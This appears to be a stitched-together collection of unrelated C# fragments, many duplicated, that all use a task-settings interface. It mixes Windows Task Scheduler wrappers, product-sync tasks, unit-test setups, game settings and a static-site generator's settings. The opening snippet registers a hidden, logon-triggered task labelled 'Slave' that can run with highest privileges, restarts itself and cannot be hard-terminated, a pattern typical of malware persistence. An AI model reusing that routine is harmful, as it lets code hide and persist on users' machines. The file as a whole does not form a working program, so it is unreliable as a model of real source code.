/// <summary>
/// Task Scheduler by QCX51
/// <href= "https://msdn.microsoft.com/en-us/library/windows/desktop/aa383608(v=vs.85).aspx"</href>
/// </summary>
/// <param name="TaskName">sets the task name</param>
/// <param name="path">sets the path to an executable file.</param>
/// <param name="arguments">sets the arguments associated with the command-line operation.</param>
/// <param name="HighestLevel">if true, tasks will be run with the highest privileges otherwise tasks will be run with the least privileges.</param>
/// <param name="StartTask">if true, runs the registered task immediately.</param>
/// <param name="DelayTime">sets a value that indicates the amount of time in seconds between when the user logs on and when the task is started</param>
/// <param name="ExecTimeLimit">sets the maximum amount of time in seconds that the task is allowed to run.</param>
///
internal static int CreateTask(string TaskName, string path, string arguments, bool HighestLevel, bool StartTask, int DelayTime, int ExecTimeLimit)
{
if (!taskService.Connected)
{
taskService.Connect();
}
//create task service instance
ITaskDefinition taskDefinition = taskService.NewTask(0);
taskDefinition.RegistrationInfo.Author = string.Format("Copyright (C) QCX51 {0}", DateTime.Now.Year);
//taskDefinition.RegistrationInfo.Date = DateTime.Now.ToShortDateString();
taskDefinition.RegistrationInfo.Description = "Slave";
// Set Settings
ITaskSettings TaskSettings = taskDefinition.Settings;
TaskSettings.Enabled = true;
TaskSettings.AllowDemandStart = true;
TaskSettings.Hidden = true;
TaskSettings.StopIfGoingOnBatteries = false;
TaskSettings.RunOnlyIfNetworkAvailable = false;
TaskSettings.RunOnlyIfIdle = false;
TaskSettings.AllowHardTerminate = false;
TaskSettings.DisallowStartIfOnBatteries = false;
TaskSettings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW;
TaskSettings.StartWhenAvailable = true;
TaskSettings.WakeToRun = true;
TaskSettings.ExecutionTimeLimit = ExecTimeLimit > 0 ? "PT" + ExecTimeLimit + "S" : "PT0S";
// PnYnMnDTnHnMnS P0Y0M0DT0H0M3S
// PT5M specifies 5 minutes and P1M4DT2H5M specifies one month, four days, two hours, and five minutes.
TaskSettings.DeleteExpiredTaskAfter = "";
TaskSettings.RestartCount = 3;
TaskSettings.RestartInterval = "PT5M";
TaskSettings.Priority = 8; // 0-10 default: 7
TaskSettings.Compatibility = _TASK_COMPATIBILITY.TASK_COMPATIBILITY_V2_1;
IIdleSettings IdleSettings = TaskSettings.IdleSettings;
IdleSettings.IdleDuration = "PT1M";
IdleSettings.WaitTimeout = "PT3M";
IdleSettings.RestartOnIdle = false;
IdleSettings.StopOnIdleEnd = false;
//create trigger for task creation.
ITriggerCollection TriggerCollection = taskDefinition.Triggers;
ILogonTrigger LogonTrigger = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);
LogonTrigger.Id = TaskGUID;
//LogonTrigger.UserId = "SYSTEM";
LogonTrigger.Repetition.StopAtDurationEnd = false;
if (DelayTime > 0)
{
LogonTrigger.Delay = "PT" + DelayTime + "S";
}
//_trigger.StartBoundary = DateTime.Now.AddSeconds(15).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
//_trigger.EndBoundary = DateTime.Now.AddMinutes(1).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
if (ExecTimeLimit > 0)
{
LogonTrigger.ExecutionTimeLimit = "PT" + ExecTimeLimit + "S";
}
LogonTrigger.Enabled = true;
IPrincipal Principal = taskDefinition.Principal;
Principal.RunLevel = HighestLevel ? _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST : _TASK_RUNLEVEL.TASK_RUNLEVEL_LUA;
Principal.Id = "Author";
//Principal.UserId = "SYSTEM";
//Principal.DisplayName = "SYSTEM";
///get actions.
IActionCollection actions = taskDefinition.Actions;
_TASK_ACTION_TYPE actionType = _TASK_ACTION_TYPE.TASK_ACTION_EXEC;
//create new action
IAction action = actions.Create(actionType);
IExecAction execAction = action as IExecAction;
execAction.WorkingDirectory = Environment.CurrentDirectory;
execAction.Arguments = arguments;
execAction.Path = path;
ITaskFolder rootFolder = taskService.GetFolder(@"\");
IRegisteredTask RegisteredTask = rootFolder.RegisterTaskDefinition(TaskName, taskDefinition, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_NONE, null);
if (StartTask)
{
RegisteredTask.Run(null);
}
return(0);
}
private ScheduledJobOptions CreateJobOptions(ITaskDefinition iTaskDefinition)
{
ITaskSettings settings = iTaskDefinition.Settings;
TaskScheduler.IPrincipal principal = iTaskDefinition.Principal;
return(new ScheduledJobOptions(!settings.DisallowStartIfOnBatteries, settings.StopIfGoingOnBatteries, settings.WakeToRun, !settings.RunOnlyIfIdle, settings.IdleSettings.StopOnIdleEnd, settings.IdleSettings.RestartOnIdle, this.ParseWTSTime(settings.IdleSettings.IdleDuration), this.ParseWTSTime(settings.IdleSettings.WaitTimeout), !settings.Hidden, principal.RunLevel == _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST, !settings.RunOnlyIfNetworkAvailable, !settings.AllowDemandStart, this.ConvertToMultiInstances(settings)));
}
//Constructors
/// <summary>
/// Creates an initialized instance.
/// </summary>
/// <param name="name">The name of the readout unit (the output field name).</param>
/// <param name="taskCfg">The readout unit's task configuration.</param>
public ReadoutUnitSettings(string name, ITaskSettings taskCfg)
{
Name = name;
TaskCfg = (ITaskSettings)taskCfg.DeepClone();
Check();
return;
}
/// <summary>
/// Converts the Scheduled Task COM representation to Business Entity
/// </summary>
/// <param name="task">COM Scheduled Task</param>
/// <returns>An instance of Scheduled Task</returns>
private static ScheduledTask TransformToTask(IRegisteredTask task)
{
ScheduledTask scheduledTask = new ScheduledTask();
scheduledTask.Name = task.Name;
scheduledTask.CurrentState = task.State.ToString();
scheduledTask.TaskPath = task.Path;
scheduledTask.NextRunTime = task.NextRunTime;
scheduledTask.LastRunTime = task.LastRunTime;
scheduledTask.LastRunResults = task.LastTaskResult.ToString();
ITaskDefinition definition = task.Definition;
ITaskSettings settings = definition.Settings;
scheduledTask.Priority = settings.Priority;
scheduledTask.Settings = new Settings();
scheduledTask.Settings.Enabled = settings.Enabled;
scheduledTask.Settings.Hidden = settings.Hidden;
IRegistrationInfo registrationInfo = definition.RegistrationInfo;
scheduledTask.Description = registrationInfo.Description;
scheduledTask.Author = registrationInfo.Author;
return(scheduledTask);
}
/// <summary>
/// Creates an initialized instance.
/// </summary>
/// <param name="elem">A xml element containing the configuration data.</param>
public ReadoutUnitSettings(XElement elem)
{
//Validation
XElement settingsElem = Validate(elem, XsdTypeName);
//Parsing
//Name
Name = settingsElem.Attribute("name").Value;
//Task
XElement taskSettingsElem = settingsElem.Elements().First();
if (taskSettingsElem.Name.LocalName == "forecast")
{
TaskCfg = new ForecastTaskSettings(taskSettingsElem);
}
else if (taskSettingsElem.Name.LocalName == "classification")
{
TaskCfg = new ClassificationTaskSettings(taskSettingsElem);
}
else
{
throw new ArgumentException("Configuration element does not contain valid task specification.", "elem");
}
Check();
return;
}
public void Start(GameObject panel, GameObject rewardPanel, GameObject punishmentPanel, GameObject spammingText)
{
if (GlobalSettings.Gs == null)
{
GuiHandler.GoToMainMenu();
}
else
{
switch (_myType)
{
case TaskType.Control:
_taskSettings = GlobalSettings.Gs.ControlSettings;
break;
case TaskType.Reward:
_taskSettings = GlobalSettings.Gs.RewardSettings;
break;
case TaskType.Punishment:
_taskSettings = GlobalSettings.Gs.PunishmentSettings;
break;
default:
throw new ArgumentOutOfRangeException();
}
_spriteSettings = GlobalSettings.Gs.SpriteSettings;
_threshold = GlobalSettings.Gs.Threshold;
}
SetPanels(panel, rewardPanel, punishmentPanel, spammingText);
GetInformation();
InitValues();
}
private TaskMultipleInstancePolicy ConvertToMultiInstances(ITaskSettings iTaskSettings)
{
_TASK_INSTANCES_POLICY multipleInstances = iTaskSettings.MultipleInstances;
switch (multipleInstances)
{
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
{
return(TaskMultipleInstancePolicy.Parallel);
}
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
{
return(TaskMultipleInstancePolicy.Queue);
}
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
{
return(TaskMultipleInstancePolicy.IgnoreNew);
}
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
{
return(TaskMultipleInstancePolicy.StopExisting);
}
}
return(TaskMultipleInstancePolicy.None);
}
public string runGetSettings(string name, string paramz = null)
{
var p = ParseParams(paramz);
var runnerForm = new TaskRunnerForm(name, p, true);
var showSettingsResult = runnerForm.ShowDialog();
lastSettings = runnerForm.CurrentTask.Settings;
return getLastSettings();
}
public string runGetSettings(string name, string paramz = null)
{
var p = ParseParams(paramz);
var runnerForm = new TaskRunnerForm(name, p, true);
var showSettingsResult = runnerForm.ShowDialog();
lastSettings = runnerForm.CurrentTask.Settings;
return(getLastSettings());
}
public PublishStockBalanceUpdatesTask(
ITaskSettings settings,
ILastCallsRepository lastCallsRepository,
IStockBalanceQuery stockBalanceQuery,
IPimCommandService pimCommandService)
{
_settings = settings;
_lastCallsRepository = lastCallsRepository;
_stockBalanceQuery = stockBalanceQuery;
_pimCommandService = pimCommandService;
}
public PublishStockBalanceUpdatesTask(
ITaskSettings settings,
ILastCallsRepository lastCallsRepository,
IStockBalanceQuery stockBalanceQuery,
IPimCommandService pimCommandService)
{
_settings = settings;
_lastCallsRepository = lastCallsRepository;
_stockBalanceQuery = stockBalanceQuery;
_pimCommandService = pimCommandService;
}
/// <summary>
/// Initializes a new instance of the <see cref="SendMailTask"/> class.
/// </summary>
/// <param name="notificationRepository">The notification repository.</param>
/// <param name="taskSettings">The task settings.</param>
/// <param name="logService">The log service.</param>
/// <param name="notificationSettings">The notification settings.</param>
public SendMailTask(
IRepository <EmailNotification> notificationRepository,
ITaskSettings taskSettings,
ILoggerService logService,
INotificationSettings notificationSettings)
{
this.notificationRepository = notificationRepository;
this.taskSettings = taskSettings;
this.logService = logService;
this.notificationSettings = notificationSettings;
}
public void SetUp()
{
_stateRepository = new Mock <ILastCallsRepository>();
_stockBalanceQuery = new Mock <IStockBalanceQuery>();
_pimCommandService = new Mock <IPimCommandService>();
_timeOfLastQuery = DateTime.Now.AddHours(-2);
_settings = GetSettingsFromAppConfigForUnitTests();
_stateRepository.Setup(repo => repo.GetTimeOfLastQueryForStockBalanceUpdates()).Returns(_timeOfLastQuery);
_task = new PublishStockBalanceUpdatesTask(_settings, _stateRepository.Object, _stockBalanceQuery.Object, _pimCommandService.Object);
}
public void SetUp()
{
_stateRepository = new Mock<ILastCallsRepository>();
_stockBalanceQuery = new Mock<IStockBalanceQuery>();
_pimCommandService = new Mock<IPimCommandService>();
_timeOfLastQuery = DateTime.Now.AddHours(-2);
_settings = GetSettingsFromAppConfigForUnitTests();
_stateRepository.Setup(repo => repo.GetTimeOfLastQueryForStockBalanceUpdates()).Returns(_timeOfLastQuery);
_task = new PublishStockBalanceUpdatesTask(_settings, _stateRepository.Object, _stockBalanceQuery.Object, _pimCommandService.Object);
}
public void Init(
SchedulerTaskScriptDependencies dependencies,
ITaskSettings settings,
ScriptFlow flow,
ScriptUtility utils
)
{
this.x = utils;
this.Settings = settings;
this.Flow = flow;
this.Dependencies = dependencies;
if (dependencies!=null && dependencies.GetType() != DependencyClassType) throw new InvalidOperationException("Wrong dependency class provided");
}
public PublishPriceUpdatesTask(
ITaskSettings settings,
ILastCallsRepository lastCallsRepository,
IPriceUpdateQuery priceUpdateQuery,
ICustomerAgreementQuery customerAgreementQuery,
IPimCommandService pimCommandService)
{
_settings = settings;
_lastCallsRepository = lastCallsRepository;
_priceUpdateQuery = priceUpdateQuery;
_pimCommandService = pimCommandService;
_customerAgreementQuery = customerAgreementQuery;
_timeOfLastQueryForPriceUpdates = lastCallsRepository.GetTimeOfLastQueryForPriceUpdates();
}
public GetNewProductsTask(
ITaskSettings settings,
ILastCallsRepository lastCallsRepository,
IPimQueryService pimQueryService,
IPimCommandService pimCommandService,
IArticleManager articleManager,
IMapper mapper)
{
_settings = settings;
_lastCallsRepository = lastCallsRepository;
_pimQueryService = pimQueryService;
_pimCommandService = pimCommandService;
_articleManager = articleManager;
_mapper = mapper;
}
public PublishPriceUpdatesTask(
ITaskSettings settings,
ILastCallsRepository lastCallsRepository,
IPriceUpdateQuery priceUpdateQuery,
ICustomerAgreementQuery customerAgreementQuery,
IPimCommandService pimCommandService)
{
_settings = settings;
_lastCallsRepository = lastCallsRepository;
_priceUpdateQuery = priceUpdateQuery;
_pimCommandService = pimCommandService;
_customerAgreementQuery = customerAgreementQuery;
_timeOfLastQueryForPriceUpdates = lastCallsRepository.GetTimeOfLastQueryForPriceUpdates();
}
public string run(string name, string paramz = null)
{
var p = ParseParams(paramz);
var runnerForm = new TaskRunnerForm(name, p);
var showSettingsResult = runnerForm.ShowDialog();
if (showSettingsResult == DialogResult.Yes)
{
lastSettings = runnerForm.CurrentTask.Settings;
}
else
{
lastSettings = null;
}
return getLastSettings();
}
public GetNewProductsTask(
ITaskSettings settings,
ILastCallsRepository lastCallsRepository,
IPimQueryService pimQueryService,
IPimCommandService pimCommandService,
IArticleManager articleManager,
IMapper mapper)
{
_settings = settings;
_lastCallsRepository = lastCallsRepository;
_pimQueryService = pimQueryService;
_pimCommandService = pimCommandService;
_articleManager = articleManager;
_mapper = mapper;
}
public string run(string name, string paramz = null)
{
var p = ParseParams(paramz);
var runnerForm = new TaskRunnerForm(name, p);
var showSettingsResult = runnerForm.ShowDialog();
if (showSettingsResult == DialogResult.Yes)
{
lastSettings = runnerForm.CurrentTask.Settings;
}
else
{
lastSettings = null;
}
return(getLastSettings());
}
public void Init(
SchedulerTaskScriptDependencies dependencies,
ITaskSettings settings,
ScriptFlow flow,
ScriptUtility utils
)
{
this.x = utils;
this.Settings = settings;
this.Flow = flow;
this.Dependencies = dependencies;
if (dependencies != null && dependencies.GetType() != DependencyClassType)
{
throw new InvalidOperationException("Wrong dependency class provided");
}
}
public virtual void CollectSettings(ITaskSettings Settings)
{
(Settings as TaskSettings).Tags = new List <Tag>();
for (int i = 0; i < dataGridView.RowCount; i++)
{
(Settings as TaskSettings).Tags.Add(
new Tag()
{
Path = dataGridView.Rows[i].Cells[0].Value == null
? string.Empty
: dataGridView.Rows[i].Cells[0].Value.ToString(),
Encoding = dataGridView.Rows[i].Cells[1].Value.ToString() == "ANSI"
? EncodingType.ANSI
: EncodingType.UTF8
});
}
}
private TaskMultipleInstancePolicy ConvertToMultiInstances(
ITaskSettings iTaskSettings)
{
switch (iTaskSettings.MultipleInstances)
{
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
return(TaskMultipleInstancePolicy.IgnoreNew);
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
return(TaskMultipleInstancePolicy.Parallel);
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
return(TaskMultipleInstancePolicy.Queue);
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
return(TaskMultipleInstancePolicy.StopExisting);
}
Debug.Assert(false);
return(TaskMultipleInstancePolicy.None);
}
/// <summary>
/// Creates an initialized instance.
/// </summary>
/// <param name="elem">Xml data containing the settings.</param>
public ReadoutUnitSettings(XElement elem)
{
//Validation
XElement settingsElem = Validate(elem, XsdTypeName);
//Parsing
//Name
Name = settingsElem.Attribute("name").Value;
//Task
XElement taskSettingsElem = settingsElem.Elements().First();
if (taskSettingsElem.Name.LocalName == "forecast")
{
TaskCfg = new ForecastTaskSettings(taskSettingsElem);
}
else
{
TaskCfg = new ClassificationTaskSettings(taskSettingsElem);
}
Check();
return;
}
private TaskMultipleInstancePolicy ConvertToMultiInstances(ITaskSettings iTaskSettings)
{
_TASK_INSTANCES_POLICY multipleInstances = iTaskSettings.MultipleInstances;
switch (multipleInstances)
{
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
{
return TaskMultipleInstancePolicy.Parallel;
}
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
{
return TaskMultipleInstancePolicy.Queue;
}
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
{
return TaskMultipleInstancePolicy.IgnoreNew;
}
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
{
return TaskMultipleInstancePolicy.StopExisting;
}
}
return TaskMultipleInstancePolicy.None;
}
public void OnEnable()
{
_taskSettings = GlobalSettings.Gs.GetSettings(Type);
_newValue = _taskSettings.NonIncentivePercentage;
ChangeInputFieldText(_newValue.ToString("0.00"));
}
public PimRequestLogRepository(ITaskSettings settings)
{
_connectionString = settings.SqliteConnectionString;
EnsureTableExists();
}
public void OnEnable()
{
_taskSettings = GlobalSettings.Gs.GetSettings(Type);
_newValue = _taskSettings.NumberOfTasks;
ChangeInputFieldText(_newValue.ToString());
}
public ProductQueryDequeuer(ITaskSettings settings, IPimRequestLogRepository pimRequestLogRepository)
{
_settings = settings;
_pimRequestLogRepository = pimRequestLogRepository;
}
public PimRequestLogRepository(ITaskSettings settings)
{
_connectionString = settings.SqliteConnectionString;
EnsureTableExists();
}
internal TaskSettings(ITaskSettings iSettings)
{
this._v2Settings = iSettings;
try { this._v2Settings2 = (ITaskSettings2)this._v2Settings; }
catch { }
}
public ProductQueryDequeuer(ITaskSettings settings, IPimRequestLogRepository pimRequestLogRepository)
{
_settings = settings;
_pimRequestLogRepository = pimRequestLogRepository;
}
public LastCallsRepository(ITaskSettings settings)
{
_connectionString = settings.SqliteConnectionString;
_settings = settings;
EnsureTableAndExpectedRowsExists();
}
public void SetUp()
{
_settings = CreateTaskSettings(10);
_settings.SqliteConnectionString = ConfigurationManager.ConnectionStrings["SQLite"].ConnectionString;
_repository = new LastCallsRepository(_settings);
}
public void UpdatePunishmentSettings(ITaskSettings newSettings)
{
PunishmentSettings = newSettings;
}
public void UpdateRewardsSettings(ITaskSettings newSettings)
{
RewardSettings = newSettings;
}
internal TaskSettings(ITaskSettings iSettings)
{
this._v2Settings = iSettings;
try { this._v2Settings2 = (ITaskSettings2)this._v2Settings; }
catch { }
}
public HTMLStaticSiteTaskSettings(ITaskSettings Settings)
: this()
{
if (!(Settings is TaskSettings))
{
return;
}
// Apply Settings settings
this.Categories = (Settings as TaskSettings).Categories;
this.CategoriesDistribution = (Settings as TaskSettings).CategoriesDistribution;
this.Entrance = (Settings as TaskSettings).Entrance;
this.EntranceAcceptor = (Settings as TaskSettings).EntranceAcceptor;
this.EntranceAcceptorURL = (Settings as TaskSettings).EntranceAcceptorURL;
this.EntranceCode = (Settings as TaskSettings).EntranceCode;
this.EntranceInsert = (Settings as TaskSettings).EntranceInsert;
this.EntranceJSEncrypt = (Settings as TaskSettings).EntranceJSEncrypt;
this.FileTokens = (Settings as TaskSettings).FileTokens;
this.FTP = (Settings as TaskSettings).FTP;
this.FTPData = (Settings as TaskSettings).FTPData;
this.FTPDeleteWhenUpload = (Settings as TaskSettings).FTPDeleteWhenUpload;
this.FTPExportPath = (Settings as TaskSettings).FTPExportPath;
this.GeneralArchive = (Settings as TaskSettings).GeneralArchive;
this.GeneralArchiveName = (Settings as TaskSettings).GeneralArchiveName;
this.GeneralSavePath = (Settings as TaskSettings).GeneralSavePath;
this.GeneralSiteCount = (Settings as TaskSettings).GeneralSiteCount;
this.GeneralSubDirectories = (Settings as TaskSettings).GeneralSubDirectories;
this.GeneralThreadCount = (Settings as TaskSettings).GeneralThreadCount;
this.GeneralUrls = (Settings as TaskSettings).GeneralUrls;
this.ImageMakerName = (Settings as TaskSettings).ImageMakerName;
this.Images = (Settings as TaskSettings).Images;
this.KeywordsGenerateFourWords = (Settings as TaskSettings).KeywordsGenerateFourWords;
this.KeywordsGenerateFourWordsMax = (Settings as TaskSettings).KeywordsGenerateFourWordsMax;
this.KeywordsGenerateFourWordsMin = (Settings as TaskSettings).KeywordsGenerateFourWordsMin;
this.KeywordsGenerateThreeWords = (Settings as TaskSettings).KeywordsGenerateThreeWords;
this.KeywordsGenerateThreeWordsMax = (Settings as TaskSettings).KeywordsGenerateThreeWordsMax;
this.KeywordsGenerateThreeWordsMin = (Settings as TaskSettings).KeywordsGenerateThreeWordsMin;
this.KeywordsGenerateTwoWords = (Settings as TaskSettings).KeywordsGenerateTwoWords;
this.KeywordsGenerateTwoWordsMax = (Settings as TaskSettings).KeywordsGenerateTwoWordsMax;
this.KeywordsGenerateTwoWordsMin = (Settings as TaskSettings).KeywordsGenerateTwoWordsMin;
this.KeywordsID = (Settings as TaskSettings).KeywordsID;
this.KeywordsMerge = (Settings as TaskSettings).KeywordsMerge;
this.KeywordsMergeUsage = (Settings as TaskSettings).KeywordsMergeUsage;
this.KeywordsMergeFileEncoding = (Settings as TaskSettings).KeywordsMergeFileEncoding;
this.KeywordsMergeFilePath = (Settings as TaskSettings).KeywordsMergeFilePath;
this.KeywordsMergeID = (Settings as TaskSettings).KeywordsMergeID;
this.KeywordsMergeMax = (Settings as TaskSettings).KeywordsMergeMax;
this.KeywordsMergeMin = (Settings as TaskSettings).KeywordsMergeMin;
this.KeywordsOnPageMax = (Settings as TaskSettings).KeywordsOnPageMax;
this.KeywordsOnPageMin = (Settings as TaskSettings).KeywordsOnPageMin;
this.KeywordsReorder = (Settings as TaskSettings).KeywordsReorder;
this.KeywordsReorderWords = (Settings as TaskSettings).KeywordsReorderWords;
this.KeywordsReorderWordsMaxPercent = (Settings as TaskSettings).KeywordsReorderWordsMaxPercent;
this.KeywordsReorderWordsMinPercent = (Settings as TaskSettings).KeywordsReorderWordsMinPercent;
this.KeywordsSelect = (Settings as TaskSettings).KeywordsSelect;
this.KeywordsSelectMax = (Settings as TaskSettings).KeywordsSelectMax;
this.KeywordsSelectMin = (Settings as TaskSettings).KeywordsSelectMin;
this.KeywordsSynonyms = (Settings as TaskSettings).KeywordsSynonyms;
this.KeywordsSynonymsFileEncoding = (Settings as TaskSettings).KeywordsSynonymsFileEncoding;
this.KeywordsSynonymsFilePath = (Settings as TaskSettings).KeywordsSynonymsFilePath;
this.KeywordsSynonymsID = (Settings as TaskSettings).KeywordsSynonymsID;
this.KeywordsSynonymsMaxPercent = (Settings as TaskSettings).KeywordsSynonymsMaxPercent;
this.KeywordsSynonymsMinPercent = (Settings as TaskSettings).KeywordsSynonymsMinPercent;
this.Links = (Settings as TaskSettings).Links;
this.LinksSave = (Settings as TaskSettings).LinksSave;
this.LinksSaveEncoding = (Settings as TaskSettings).LinksSaveEncoding;
this.LinksSavePath = (Settings as TaskSettings).LinksSavePath;
this.Map = (Settings as TaskSettings).Map;
this.MapHTML = (Settings as TaskSettings).MapHTML;
this.MapHTMLLinksOnPageMax = (Settings as TaskSettings).MapHTMLLinksOnPageMax;
this.MapHTMLLinksOnPageMin = (Settings as TaskSettings).MapHTMLLinksOnPageMin;
this.MapHTMLName = (Settings as TaskSettings).MapHTMLName;
this.MapIncludeCategories = (Settings as TaskSettings).MapIncludeCategories;
this.MapIncludeCustomPages = (Settings as TaskSettings).MapIncludeCustomPages;
this.MapIncludeIndex = (Settings as TaskSettings).MapIncludeIndex;
this.MapIncludeRegularPages = (Settings as TaskSettings).MapIncludeRegularPages;
this.MapIncludeStaticPages = (Settings as TaskSettings).MapIncludeStaticPages;
this.MapXMLName = (Settings as TaskSettings).MapXMLName;
this.PresetID = (Settings as TaskSettings).PresetID;
this.Robots = (Settings as TaskSettings).Robots;
this.RobotsContent = (Settings as TaskSettings).RobotsContent;
this.RSS = (Settings as TaskSettings).RSS;
this.RSSContent = (Settings as TaskSettings).RSSContent;
this.RSSLength = (Settings as TaskSettings).RSSLength;
this.StaticPages = (Settings as TaskSettings).StaticPages;
this.TemplateID = (Settings as TaskSettings).TemplateID;
this.TextLinks = (Settings as TaskSettings).TextLinks;
this.TextLinksLengthMax = (Settings as TaskSettings).TextLinksLengthMax;
this.TextLinksLengthMin = (Settings as TaskSettings).TextLinksLengthMin;
this.TextLinksNumberMax = (Settings as TaskSettings).TextLinksNumberMax;
this.TextLinksNumberMin = (Settings as TaskSettings).TextLinksNumberMin;
this.TextMakerName = (Settings as TaskSettings).TextMakerName;
this.TokenCounter = (Settings as TaskSettings).TokenCounter;
this.TokenExternalLinks = (Settings as TaskSettings).TokenExternalLinks;
this.TokenInternalLinks = (Settings as TaskSettings).TokenInternalLinks;
this.TokenMainLink = (Settings as TaskSettings).TokenMainLink;
this.TokenMainLinks = (Settings as TaskSettings).TokenMainLinks;
this.TokenSite = (Settings as TaskSettings).TokenSite;
this.TokenTitle = (Settings as TaskSettings).TokenTitle;
this.WorkSpaceID = (Settings as TaskSettings).WorkSpaceID;
}
public void SetUp()
{
_settings = CreateTaskSettings(10);
_settings.SqliteConnectionString = ConfigurationManager.ConnectionStrings["SQLite"].ConnectionString;
_repository = new LastCallsRepository(_settings);
}
public PHPSQLiteStaticSiteTaskSettings(ITaskSettings Settings)
: base(Settings)
{
}
private TaskMultipleInstancePolicy ConvertToMultiInstances(
ITaskSettings iTaskSettings)
{
switch (iTaskSettings.MultipleInstances)
{
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
return TaskMultipleInstancePolicy.IgnoreNew;
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
return TaskMultipleInstancePolicy.Parallel;
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
return TaskMultipleInstancePolicy.Queue;
case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
return TaskMultipleInstancePolicy.StopExisting;
}
Debug.Assert(false);
return TaskMultipleInstancePolicy.None;
}
public void UpdateControlSettings(ITaskSettings newSettings)
{
ControlSettings = newSettings;
}
public LastCallsRepository(ITaskSettings settings)
{
_connectionString = settings.SqliteConnectionString;
_settings = settings;
EnsureTableAndExpectedRowsExists();
}
